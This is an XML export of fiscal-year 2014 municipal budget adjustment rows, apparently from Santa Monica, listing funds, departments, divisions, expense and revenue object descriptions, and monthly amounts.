<row _id="7696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3829.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3829.0</total></row>
<row _id="7702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11084.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11084.0</total></row>
<row _id="7703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-36758.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36758.0</total></row>
<row _id="7704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10294.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10294.0</total></row>
<row _id="7705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9598.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9598.0</total></row>
<row _id="7706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-32009.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32009.0</total></row>
<row _id="7707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9364.0</total></row>
<row _id="7708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3447.0</total></row>
<row _id="7709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1532.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1532.0</total></row>
<row _id="7710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>68813.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68813.0</total></row>
<row _id="7712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1812.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1812.0</total></row>
<row _id="7713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4833.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4833.0</total></row>
<row _id="7714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23467.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23467.0</total></row>
<row _id="7715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23278.0</total></row>
<row _id="7716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1200.0</total></row>
<row _id="7717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>408420.0</object><object_description>SM TOURISM MKT DIST-ADMIN FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21456.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21456.0</total></row>
<row _id="7719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16210.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16210.0</total></row>
<row _id="7720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404050.0</object><object_description>ENERGY EFFICIENCY REBATES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25871.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25871.0</total></row>
<row _id="7721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122400.0</total></row>
<row _id="7722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>328983.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>328983.0</total></row>
<row _id="7723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400613.0</object><object_description>NEWSRACK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="7724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11823.0</total></row>
<row _id="7725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="7726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544112.0</object><object_description>SIGNAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>136376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>136376.0</total></row>
<row _id="7727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>605.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>605.0</total></row>
<row _id="7728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577351.0</object><object_description>HOME VOUCHERS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>560273.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>560273.0</total></row>
<row _id="7729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403660.0</object><object_description>LIBRARY NON-RESIDENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-235000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-235000.0</total></row>
<row _id="7730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-36000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36000.0</total></row>
<row _id="7731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555011.0</object><object_description>CONT SERV/PLANT REPLACE/MIS SE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="7732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566190.0</object><object_description>EMPLOYEE EVENTS TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31519.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31519.0</total></row>
<row _id="7733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="7734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER OUT TO HOUSING FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>265790.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>265790.0</total></row>
<row _id="7735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561116.0</object><object_description>OPCC INTERIM HSG&amp;WELLNS-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8350.0</total></row>
<row _id="7736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>323.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>323.0</total></row>
<row _id="7737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43654.0</total></row>
<row _id="7738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="7739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>403110.0</object><object_description>TDA ARTICLE III</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-49000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-49000.0</total></row>
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<row _id="7741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7925.0</total></row>
<row _id="7742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11187.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11187.0</total></row>
<row _id="7743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
